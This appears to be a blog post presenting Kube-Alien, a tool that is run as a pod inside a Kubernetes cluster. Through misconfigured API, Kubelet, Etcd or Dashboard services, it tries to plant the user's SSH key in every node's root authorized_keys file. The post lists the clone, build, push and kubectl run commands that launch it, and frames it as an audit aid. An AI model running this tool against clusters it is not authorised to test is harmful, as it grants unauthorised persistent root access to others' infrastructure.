Kube-Alien : Tool To Launch Attack On k8s Cluster

Kube-Alien tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it.

After running the kube-alien pod it tries to takeover cluster’s nodes by adding your public key to node’s /root/.ssh/authorized_keys file by using this image https://github.com/nixwizard/dockercloud-authorizedkeys (Can be adjusted using ADD_AUTHKEYS_IMAGE param in config.py) forked from docker/dockercloud-authorizedkeys.

Also Read – Firmware Analysis Toolkit : To Emulate Firmware And Analyse It For Security Vulnerabilities

The attack succeedes if there is a misconfiguration in one of the cluster’s components it goes along the following vectors:

  • Kubernetes API
  • Kubelet service
  • Etcd service
  • Kubernetes-Dashboard

The purpose of this tool

  • While doing security audit of a k8s cluster one can quickly assess it’s security posture.
  • Partical demostration of the mentioned attack vectors exploitation.

How can k8s cluster be attacked from within in a real life

  • RCE or SSRF vunerability in an app which is being run in one of your cluster’s pods.

Usage

Kube-alien image should be pushed to your dockerhub(or other registry) before using with this tool.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka

The AUTHORIZED_KEYS env required to be set to the value of your ssh public key, in case of success the public key will be added to all node’s root’s authorized_keys file.

kubectl run –image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never

or you may use my image for quick testing purpose:

kubectl run –image=nixwizard/kube-alien kube-alien:ka –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never

Check Kube-alien pod’s logs to see if attack was successful:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d’ ‘)

R K

Recent Posts

Shadow-rs : Harnessing Rust’s Power For Kernel-Level Security Research

shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…

1 week ago

ExecutePeFromPngViaLNK – Advanced Execution Of Embedded PE Files via PNG And LNK

Extract and execute a PE embedded within a PNG file using an LNK file. The…

2 weeks ago

Red Team Certification – A Comprehensive Guide To Advancing In Cybersecurity Operations

Embark on the journey of becoming a certified Red Team professional with our definitive guide.…

3 weeks ago

CVE-2024-5836 / CVE-2024-6778 : Chromium Sandbox Escape via Extension Exploits

This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…

3 weeks ago

Rust BOFs – Unlocking New Potentials In Cobalt Strike

This took me like 4 days (+2 days for an update), but I got it…

3 weeks ago

MaLDAPtive – Pioneering LDAP SearchFilter Parsing And Security Framework

MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…

3 weeks ago